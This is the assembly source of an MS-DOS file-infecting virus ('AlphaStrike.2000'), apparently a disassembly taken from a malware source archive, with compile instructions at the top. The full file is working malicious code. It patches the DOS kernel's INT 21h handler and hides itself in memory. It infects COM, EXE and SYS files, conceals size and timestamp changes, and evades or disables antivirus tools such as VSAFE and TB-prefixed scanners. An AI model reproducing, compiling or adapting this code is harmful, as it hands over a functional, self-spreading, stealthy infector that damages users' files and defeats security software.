MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.alpha.asm

; AlphaStrike.2000 or whatever its called by Neurobasher. disasm by retch.
; there are no comments. there are no need for comments unless you are lame.
;
; GREETZ R LAYME SO I WEEL NOT DO NE.
;
; 2 COMPYLE:
;       tasm /m alpha.asm   (EYE UZED FORE DOT SOMETHING)
;       tlink alpha.obj     (umm... 2.xx)
;       exe2bin alpha.exe alpha.com
;
; i am contactable via retro@pcscav.com

.model  tiny
.code
.286

virus_start:    mov     di, 0F242h
                mov     si, word ptr ds:[2h]
		sub	si, di
		cmp	si, 1000h
		call	getip
getip:          mov     bp, sp
                mov     bp, [bp]
		cld	
		mov	ax, 4458h
		int	21h
		jb	checkifdosinhma
		mov	ds, es:[bx+0Eh]
		mov	si, 0Bh
		jmp	addressatSI
sysentry:       pushf   
		pusha	
		push	ds
		push	es
		jmp	virus_start
checkifdosinhma:mov     ax, 3306h
		int	21h
		cmp	al, 6
		jnz	checkdosversion
		cmp	dh, 10h
		jnz	go_abortinstall
		mov	ax, 0FFC4h
		jmp	compareints
checkdosversion:mov     ah, 30h
		int	21h
		xchg	al, ah
		cmp	ax, 31Eh
		mov	ax, 1Bh
		jb	go_abortinstall
compareints:    mov     cx, 0Ah
		mov	ds, cx
		mov	es, cx
		mov	si, 14h
		mov	bx, si
		lea	di, [bx+si]
		cmpsw
		jnz	abortinstall
		cmpsw
go_abortinstall:jnz     abortinstall
		lds	si, [bx]
		add	si, ax
		cmp	al, 1Bh
		jz	checkifkernelpatched
		mov	si, [si+8]
addressatSI:    lds     si, [si]
checkifkernelpatched:
                cmp     byte ptr [si], 0EAh
		jz	abortinstall
                mov     cs:[bp+(kernaladdress  )-getip], si
                mov     cs:[bp+(kernaladdress+2)-getip], ds
		call	getmemory
		jnz	abortinstall
                lea     si, [bp+(virus_start)-getip]
		push	cs
		pop	ds
		mov	es, cx
		mov	cx, offset header
		rep movsb
		sub	ax, ax
                mov     cl, 0C0h
		rep stosb
                mov     di, offset newint21
                mov     es:[di+1], al
                lds     si, ds:[bp+(kernaladdress)-getip]
		mov	ax, [si]
                mov     cl, 6Ch
		mov	bx, 6
                cmp     al, 0FAh
		jz	patchkernel
		mov	bl, 7
                cmp     al, 2Eh
		jz	patchkernel
                mov     cl, 69h
		mov	bl, 5
                cmp     al, 80h
		jnz	abortinstall
patchkernel:    mov     es:[di+savecmp-newint21], cl
		add	bx, si
                mov     es:[di+kernaladdress-newint21], bx
                mov     byte ptr [si], 0EAh
		mov	[si+1],	di
		mov	[si+3],	es
abortinstall:   pop     ax
		sub	si, si
		mov	ax, ss
                cmp     ah, 90h
		jz	restoresys
                mov     ah, 62h
		int	21h
		push	bx
		mov	ds, bx
		mov	cx, [si+2Ch]
		jcxz	restorehost
		mov	ds, cx
		mov	ch, 8
findcomspec:    cmp     word ptr [si], 4F43h
		jnz	keeplooking
		cmp	word ptr [si+6], 3D43h
		jz	foundcomspec
keeplooking:    inc     si
		loop	findcomspec
		jmp	restorehost
foundcomspec:   mov     ax, 3D00h
		lea	dx, [si+8]
		int	21h
		xchg	ax, bx
                mov     ah, 3Eh
		int	21h
restorehost:    pop     ax
		mov	ds, ax
		mov	es, ax
		add	ax, 10h
		mov	bx, ax
                db      81h,0C3h
savess          dw      0FFF0h
		cli	
                db      0BCh
savesp          dw      0FFFEh
		mov	ss, bx
                db      5
savecs          dw      0FFF0h
                mov     cs:[bp+jumpsegment-getip], ax
		cmp	sp, 0FFFEh
		jnz	zeroregs
                mov     word ptr ds:100h, 20CDh
first2          =       $-2
                mov     byte ptr ds:102h, 90h
next1           =       $-1
zeroregs:       sub     ax, ax
		sub	bx, bx
		sub	cx, cx
		cwd	
		sub	si, si
		sub	di, di
		sub	bp, bp
		sti	
		jmp	near ptr jumptohost
                db      0EAh
jumptohost      db      0EAh
saveip          dw      100h
jumpsegment     dw      0
restoresys:     pop     es
		pop	ds
		mov	word ptr [si+8], 0
sysret2         =       $-2
		popa
		popf	
                db      68h
sysret          dw      0
		ret	
getmemory:      call    getlastmcb
		mov	ax, ds
		mov	bx, [si+3]
		sub	bx, dx
		add	ax, bx
		xchg	ax, cx
		xchg	ax, bx
		jmp	setnewmcbsize
setlastmcbsize: call    getlastmcb
		dec	ax		; ax=cs
		mov	cx, ax		; cx=ax
sublastmcbseg:  sub     ax, bx          ; ax=ax-lastmcbseg
setnewmcbsize:  dec     ax
		or	di, di
		jnz	dontsetmcbsize
		mov	[si+3],	ax
dontsetmcbsize: ret     
modifytomseginpsp:
                mov     ah, 62h
		int	21h
		mov	ds, bx
		int	12h
		shl	ax, 6
                sub     ax, 87h
		mov	ds:2, ax
hideourmem:     call    getlastmcb
		add	ax, dx		; ax=virusparasize+virusseg+1
		jmp	sublastmcbseg
getlastmcb:     push    es
                mov     ah, 52h
		int	21h
		mov	ds, es:[bx-2]
		mov	ax, 5802h
		int	21h
		cbw	
		push	ax
		mov	ax, 5803h
		mov	bx, 1
                int     21h             ; set umb's as part of chain
		sub	si, si
		mov	di, si
getlastmcbloop: call    getnextmcb
		jnz	getlastmcbloop
		pop	bx
		push	ax
		mov	ax, 5803h
		int	21h
		pop	bx
		pop	es
		mov	ax, cs
		inc	ax
                mov     dx, 87h         ; 2160d / 10h
		ret	
getnextmcb:     cmp     word ptr [si+10h], 20CDh
		jnz	checkiflast
                cmp     byte ptr [si+15h], 0EAh
		jnz	checkiflast
		inc	di
checkiflast:    cmp     byte ptr [si], 5Ah      ; 'Z'
		jz	islastblock
		mov	ax, ds
		inc	ax
		add	ax, [si+3]
		mov	ds, ax
islastblock:    ret 
newint21:       db 0EBh
virusactive	db 4Ch
		mov	cs:saveds, ds
		push	cs
		pop	ds
		mov	savedi,	di
                mov     di, offset saveds
                mov     byte ptr [di+virusactive-saveds], 4Ch
                mov     [di+savees-saveds], es
                mov     [di+saveax-saveds], ax
                mov     [di+savebx-saveds], bx
                mov     [di+savecx-saveds], cx
                mov     [di+savedx-saveds], dx
                mov     [di+savesi-saveds], si
                mov     [di+savebp-saveds], bp
		push	cs
		pop	es
		mov	di, offset functions
		db 0B9h
stealthmode	dw 14h
		xchg	al, ah
		xor	al, 5Fh
		cld	
		repne scasb
		jnz	exithandler
                sub     di, offset functions+1
		shl	di, 1
		add	di, offset functionoffsets
		push	offset exithandler
		push	word ptr [di]
		jmp	near ptr restoreregs
exithandler:    call    restoreregsandsetvirusactive
emulateoldkernal:
                cmp     ah, 6Ch
savecmp         =       $-1
		ja	zeroal_iret
		cli	
		db 0EAh
kernaladdress	dd 0FDC840FEh
writeheader:    mov     ah, 40h
		mov	cx, 18h
readwritefromsi:mov     dx, si
int21:          cli     
		pushf	
		call	cs:kernaladdress
		ret	
zeroal_iret:    mov     al, 0
		iret	
restoreregsandsetvirusactive:
		call	near ptr restoreregs
setvirusactive: mov     cs:virusactive, 0
		ret	
memstealth:     call    setlastmcbsize  ; 48h/49h/4Ah
restoreregs:    db      0B8h
saveds          dw      9850h
		mov	ds, ax
                db      0B8h
savees          dw      6D8h
		mov	es, ax
                db      0B8h
saveax          dw      4B00h
                db      0BBh
savebx          dw      241h
                db      0B9h 
savecx          dw      209h
                db      0BAh
savedx          dw      40E6h
                db      0BEh
savesi          dw      0E4h 
                db      0BFh
savedi          dw      0
                db      0BDh
savebp          dw      6914h
		ret	
loc_0_272:      mov     dx, 3F5h
		mov	al, 4
		mov	ch, 4
		out	dx, al
                loop    $
		mov	ch, 4
		out	dx, al
                loop    $
		in	al, dx
		test	al, 40h
		ret	
message         db      002h,0E0h,052h,0BFh,0B4h,0B0h,0B8h,0BFh,0E0h,0ADh 
                db      0ACh,0AEh,0B7h,0B5h,0BBh,051h,0E0h,007h,0E0h,0BFh 
                db      09Ch,08Ah,09Fh,092h,09Dh,09Bh,09Ch,0E0h,0ACh,09Fh 
                db      09Dh,08Ch,097h,09Dh,09Fh,094h,0E0h,0AAh,097h,08Eh 
                db      09Fh,094h,0E0h,0B7h,093h,090h,094h,09Fh,092h,08Ch
                db      0E0h,09Eh,087h,0E0h,0B2h,0BBh,0ABh,0AEh,0B1h,0BEh 
                db      0BFh,0ADh,0B8h,0BBh,0AEh,0D9h,0C7h,0CDh,0E0h,0D1h 
                db      0E0h,0B9h,09Bh,08Eh,093h,09Fh,092h,087h,0E0h,002h 
setnofilestealth:
		mov	byte ptr cs:stealthmode, 12h
activate:       ret 
		call	clearscreen
		mov	ah, 2
		mov	bh, 0
		mov	dx, 0C00h
		int	10h
		mov	si, offset message
                mov     cx, 4Eh
displayloop:    lods    byte ptr cs:[si]
		neg	al
		int	29h
		loop	displayloop
		xor	ax, ax
		int	16h
clearscreen:    mov     ax, 3
		int	10h
setnoactivate:  mov     byte ptr cs:activate, 0C3h
		ret	
execute:        call    setfullstealth
		call	setnoactivate
		cmp	al, 1
                mov     al, 90h
		call	setdirstealth
		jnz	infectdx
		mov	ax, 3D02h
		int	21h
		jb	ret3
		xchg	ax, bx
		call	disinfecthandle
                mov     ah, 3Eh
		int	21h
                mov     byte ptr ds:activate, 90h
ret3:  		ret	
infectsi:       mov     dx, si
infectdx:       cmp     ax, 4300h
		jz	ret3
		call	sethandletozero
                cmp     ah, 3Dh
		jnz	dontsetfullstealth
		call	setfullstealth
dontsetfullstealth:
		mov	si, dx
		mov	di, offset buffer
		push	cs
		pop	es
copyname:       lodsb
		or	al, al
		jz	namecopied
		stosb
		jmp	copyname
namecopied:     stosb
		mov	cl, byte ptr cs:saveax+1
		mov	ax, [si-7]
		mov	bx, [si-0Bh]
                cmp     cl, 3Dh
		jnz	notopen
		db 0EBh
dontopenchklist	db 16h
		cmp	ax, 5453h	; chkliST?
		jnz	notopen
		cmp	bx, 4B48h	; cHKlist?
		jnz	notopen
		pop	ax
		call	restoreregsandsetvirusactive
		mov	ax, 2
		stc	
		retf	2
notopen:        cmp     cl, 4Bh
		jnz	checkifavactive
		mov	cl, 16h
		cmp	ax, 5641h
		jnz	notmsavorcpav
		mov	cl, 0
notmsavorcpav:  mov     cs:dontopenchklist, cl
		cmp	bx, 5343h
		jz	setmemstealthonly
		cmp	bx, 4142h
		jz	setmemstealthonly
		cmp	ax, 4148h
		jz	setmemstealthonly
		cmp	ax, 4A52h
		jz	setmemstealthonly
		cmp	word ptr [si-8], 495Ah
		jnz	leavestealthmode
setmemstealthonly:
		mov	byte ptr cs:stealthmode, 8
leavestealthmode:
		push	ax
		mov	ax, 160Ah
		int	2Fh
		cmp	al, 0Ah
		pop	ax
		jnz	checkifavactive
		cmp	ax, 5641h
		jz	checkifavactive
		cmp	bx, 544Eh
		jz	checkifavactive
		call	hideourmem
checkifavactive:
		mov	bx, 0FF0Fh
		xchg	ax, bx
		int	21h
		cmp	al, 1
		jz	ret4
		mov	bl, 0
		call	vsafe
		push	cs
		pop	ds
                mov     ah, 2Fh
		int	21h
		push	es
		push	bx
		mov	ah, 1Ah
		mov	dx, offset tempdta
		int	21h
		mov	ax, 3524h
		int	21h
		push	es
		push	bx
                mov     ah, 25h
		mov	dx, offset zeroal_iret
		int	21h
                mov     ah, 4Eh
                mov     cl, 27h
		call	setdxtobuffer_int21
		jb	restoreint24anddta
		mov	si, offset header
		sub	di, di
		mov	al, [si+18h]
		mov	attribs, al
		cmp	byte ptr [si], 2
		ja	notdriveAorB
		call	loc_0_272
		jz	checkfiletype
restoreint24anddta:
		mov	ax, 2524h
		pop	dx
		pop	ds
		int	21h
		mov	ah, 1Ah
		pop	dx
		pop	ds
		int	21h
togglevsafe	db 0B3h
vsafestatus	db 16h
vsafe:		mov	ax, 0FA02h
		mov	dx, 5945h
		int	16h
		mov	cs:vsafestatus,	cl
ret4: 		ret	
notdriveAorB:   cmp     [si+12h], di
		jnz	checkfiletype
		cmp	word ptr [si+10h], 2
		jb	restoreint24anddta
		cmp	byte ptr [si], 3
		jb	checkfiletype
                mov     ah, 2Ah
		int	21h
		sub	cx, 7BCh
		mov	ax, [si+1Bh]
		shr	ax, 1
		cmp	ah, cl
		jnz	checkfiletype
		shr	ax, 4
		and	al, 0Fh
		cmp	al, dh
		jz	restoreint24anddta
checkfiletype:  mov     bp, offset setcarry_ret
                cmp     word ptr [si+21h], 4254h        ; TB*
		jz	restoreint24anddta
                cmp     word ptr [si+0Ch], 4F43h        ; CO
		jnz	notcominfection
		mov	bp, offset infectcom
notcominfection:cmp     word ptr [si+1Eh], 0Bh
		jb	restoreint24anddta
                cmp     byte ptr [si+1Ch], 0C8h
		jnb	restoreint24anddta
		mov	al, [si+18h]
		and	al, 7
		jz	attributesok
		sub	cx, cx
		call	setattribs
		jb	restoreint24anddta
attributesok:   mov     ax, 3D02h
		call	setdxtobuffer_int21
		jb	near ptr restoreattribs
		xchg	ax, bx
                mov     ah, 3Fh
		mov	cx, 19h
		call	readwritefromsi
		mov	ax, [si]
		xchg	al, ah
		cmp	ax, 4D5Ah
		jnz	notexeinfection
		mov	bp, offset infectexe
		jmp	notsysinfection
notexeinfection:cmp     ax, 0FFFFh
		jnz	notsysinfection
		mov	bp, offset infectsys
notsysinfection:call    bp
		jb	dontwriteheader
		call	writeheader
dontwriteheader:mov     ax, 5700h
		mov	cx, [si+19h]
		mov	dx, [si+1Bh]
		inc	ax
                int     21h
                mov     ah, 3Eh
		int	21h
restoreattribs	db 0B1h
attribs		db 20h
		call	setattribs
		jmp	restoreint24anddta
setattribs:     mov     ax, 4301h
setdxtobuffer_int21:
		mov	ch, 0
		mov	dx, offset buffer
		jmp	int21
infectexe:      cmp     byte ptr [si+18h], 40h  ;WINDOZE EXE ?
		jz	setcarry_ret
		mov	ax, [si+4]
		dec	ax
		mov	cx, 200h
		mul	cx
		add	ax, [si+2]
		adc	dx, di
		cmp	[si+1Dh], ax
		jnz	setcarry_ret
		cmp	[si+1Fh], dx
		jz	nointernaloverlays
setcarry_ret:   stc 
		ret	
nointernaloverlays:
		mov	ax, [si+0Eh]
                mov     ds:savess, ax
		mov	ax, [si+10h]
                mov     ds:savesp, ax
		mov	ax, [si+16h]
                mov     ds:savecs, ax
		mov	ax, [si+14h]
                mov     ds:saveip, ax
		call	appendvirus
		jb	exitinfectexe
		mov	ax, [si+8]
		mov	cl, 10h
		mul	cx
		neg	ax
		not	dx
		add	ax, [si+1Dh]
		adc	dx, di
		add	dx, [si+1Fh]
		div	cx
		mov	[si+16h], ax
		mov	[si+14h], dx
		dec	ax
		mov	[si+0Eh], ax
		mov	word ptr [si+10h], 9D2h
                add     word ptr [si+0Ah], 0ADh
		mov	ax, [si+1Dh]
		mov	dx, [si+1Fh]
                add     ax, virussize
		adc	dx, di
		mov	cx, 200h
		div	cx
		inc	ax
		mov	[si+4],	ax
		mov	[si+2],	dx
		clc	
exitinfectexe:  ret 
infectcom:      cmp     word ptr [si+1Eh], 0D6h
		ja	exitcominfect
		mov	ax, [si]
                mov     word ptr ds:first2, ax
		mov	al, [si+2]
                mov     byte ptr ds:next1, al
		mov	ax, 0FFF0h
                mov     ds:savecs, ax
                mov     ds:savess, ax
                mov     word ptr ds:saveip, 100h
                mov     word ptr ds:savesp, 0FFFEh
		call	appendvirus
		jb	exitcominfect
                mov     byte ptr [si], 0E9h
                mov     ax, -3 ;0FFFDh
		add	ax, [si+1Dh]
		mov	[si+1],	ax
		clc	
exitcominfect:  ret 
infectsys:      mov     ax, [si+8]
                mov     word ptr ds:sysret, ax
                mov     word ptr ds:sysret2, ax
		call	appendvirus
		jb	ret5
		mov	ax, [si+1Dh]
                add     ax, offset sysentry
		mov	[si+8],	ax
		clc	
ret5: 		ret	
appendvirus:    mov     al, 2
		call	lseek
                mov     ah, 40h
                mov     cx, virussize
		cwd	
		call	int21
		cmp	ax, cx
		stc	
		jnz	ret1
                add     byte ptr [si+1Ch], 0C8h
lseekstart:     mov     al, 0
lseek:          mov     ah, 42h
		cwd	
                mov     cx, dx
doint21:        int     21h
ret1:           ret 
lseekbeforeend: mov     ax, 4202h
		mov	cx, 0FFFFh
		jmp	doint21
checkhandle:    cmp     bl, 5                   ;LAME HANDLE CHEQ.
		jb	exittimestealth
checkinfection: mov     ax, 5700h
		int	21h
		jb	exittimestealth
                cmp     dh, 0C8h
exittimestealth:ret 
blocklseek:     cmp     al, 2
		jnz	ret1
		call	checkinfection
		jb	ret1
		pop	ax
		call	near ptr restoreregs
		push	cx
                sub     dx, virussize
		sbb	cx, 0
		int	21h
		pop	cx
		jmp	setvirusactive_exit
setnodirstealth:mov     al, 0C3h
setdirstealth:  mov     byte ptr cs:fcbdirstealth, al
		ret	
fcbdirstealth:  nop 
		inc	sp
		inc	sp
		int	21h
		cmp	al, 0FFh
		jz	setvirusactive_exit
		pushf	
		push	ax
		call	getdta
		cmp	byte ptr [bx], 0FFh
		jnz	notextended
		add	bx, 7
notextended:    cmp     [bx+1Ah], al
		jb	exitdirstealth
		sub	[bx+1Ah], al
		add	bx, 3
		jmp	stealthdirsize
getdta:         mov     ah, 2Fh
		int	21h
                mov     al, 0C8h
		push	es
		pop	ds
		ret	
asciidirstealth:inc     sp
		inc	sp
		int	21h
		jb	setvirusactive_exit
		pushf	
		push	ax
		call	getdta
		cmp	[bx+19h], al
		jb	exitdirstealth
		sub	[bx+19h], al
stealthdirsize: cmp     word ptr [bx+1Bh], 0Bh
		jb	exitdirstealth
                sub     word ptr [bx+1Ah], virussize
		sbb	word ptr [bx+1Ch], 0
exitdirstealth: call    restoreregs
		pop	ax
		popf	
setvirusactive_exit:
		call	setvirusactive
		jmp	exitkeepflags
readoldheader:  mov     al, 1
		call	lseek
		push	cs
		pop	ds
		mov	oldposlo, ax
		mov	oldposhi, dx
		mov	si, offset header
                cmp     handle, bl
		jz	ret0
		mov	dx, 0FFDFh
		call	lseekbeforeend
                mov     ah, 3Fh
                mov     cx, 21h
		call	readwritefromsi
                mov     handle, bl
lseektooldpos:  mov     ax, 4200h
		db 0B9h
oldposhi	dw 0
		db 0BAh
oldposlo	dw 0
		int	21h
ret0:           ret 
disinfecthandle:call    checkhandle
		jb	ret0
		push	cx
		push	dx
		call	readoldheader
		call	lseekstart
		call	writeheader
                mov     dx, 0F830h      ; -virussize
		call	lseekbeforeend
                mov     ah, 40h
		sub	cx, cx
		int	21h
		pop	dx
		pop	cx
                sub     dh, 0C8h
		mov	ax, 5701h
		int	21h
		jmp	lseektooldpos
stealthread:    mov     bp, cx
		call	checkhandle
		jb	ret0
		pop	ax
		call	readoldheader
		sub	ax, [si+1Dh]
		sbb	dx, 0
		sub	dx, [si+1Fh]
		js	adjustread
		call	restoreregsandsetvirusactive
		sub	ax, ax
		clc	
exitkeepflags:  retf    2
adjustread:     add     ax, bp
		adc	dx, 0
		jnz	bigread
		sub	bp, ax
bigread:        push    bp
		call	near ptr restoreregs
		pop	cx
		int	21h
		pushf	
		push	ax
		jb	exitstealthread
		push	ds
		pop	es
		mov	di, dx
		push	cs
		pop	ds
		mov	si, offset header
		cmp	oldposhi, 0
		jnz	exitstealthread
		mov	ax, oldposlo
		cmp	ax, 18h
		jnb	exitstealthread
		add	si, ax
		add	cx, ax
		cmp	cx, 18h
		jbe	moveit
		sub	ax, 18h
		neg	ax
		xchg	ax, cx
moveit:         cld 
		rep movsb
exitstealthread:call    restoreregsandsetvirusactive
		pop	ax
popf_exitwithflags:
		popf	
		jmp	exitkeepflags
gettimestealth: cmp     byte ptr cs:stealthmode, 12h
		jnz	dotimestealth
		cmp	al, 0
		jz	ret2
setfullstealth: mov     byte ptr cs:stealthmode, 14h
		ret	
dotimestealth:  cmp     al, 0
		jnz	settimestealth
		inc	sp
		inc	sp
		int	21h
		pushf	
		jb	setvirusactive_exit1
		call	removemarkerfromdh
setvirusactive_exit1:
		call	setvirusactive
		jmp	popf_exitwithflags
settimestealth: call    setfullstealth
		mov	ax, 5700h
		int	21h
		jb	ret2
		pop	ax
                cmp     dh, 0C8h
		call	near ptr restoreregs
		jb	removemarkeranddoint21
                cmp     dh, 0C8h
		jnb	doint21andexit
                add     dh, 0C8h
doint21andexit: int     21h
		pushf	
		jmp	setvirusactive_exit1
removemarkeranddoint21:
		call	removemarkerfromdh
		jmp	doint21andexit
removemarkerfromdh:
                cmp     dh, 0C8h
		jb	notmarked
                sub     dh, 0C8h
notmarked:      ret 
sethandletozero:mov     cs:handle, 0
ret2:           ret 
; NOTE : ALL FUNKTIONZ ARE XORED WITH 5Fh
functions       db      013h            ; 4Ch - prog terminate
                db      017h            ; 48h - create mem block
                db      016h            ; 49h - release memory
                db      015h            ; 4Ah - resize mem block
                db      00Dh            ; 52h - get SYSVARS
                db      0B5h            ; 0EAh - ALLOC HUGE SEG
                db      06Dh            ; 32h - GET DPB
                db      014h            ; 4Bh - program EXEC
                db      062h            ; 3Dh - open file
                db      04Eh            ; 11h - fcb FindFirst
                db      04Dh            ; 12h - fcb FindNext
                db      011h            ; 4Eh - ASCII FindFirst
                db      010h            ; 4Fh - ASCII FindNext
                db      008h            ; 57h - get/set file time
                db      033h            ; 6Ch - extended open
                db      01Ch            ; 43h - get/set attribs
                db      061h            ; 3Eh - handle close
                db      01Fh            ; 40h - handle write
                db      01Dh            ; 42h - lseek
                db      060h            ; 3Fh - handle read
functionoffsets dw      offset setnofilestealth
                dw      offset memstealth
                dw      offset memstealth
                dw      offset memstealth
                dw      offset hideourmem
                dw      offset modifytomseginpsp
                dw      offset setnodirstealth
                dw      offset execute
                dw      offset infectdx
                dw      offset fcbdirstealth
                dw      offset fcbdirstealth
                dw      offset asciidirstealth
                dw      offset asciidirstealth
                dw      offset gettimestealth
                dw      offset infectsi
                dw      offset infectdx
                dw      offset sethandletozero
                dw      offset disinfecthandle
                dw      offset blocklseek
                dw      offset stealthread

header          db      0CDh,020h,090h
tempdta         db      3Ch dup (0)
buffer          db      80h dup (0)
handle          db      0
virussize       =       7D0h
		end    virus_start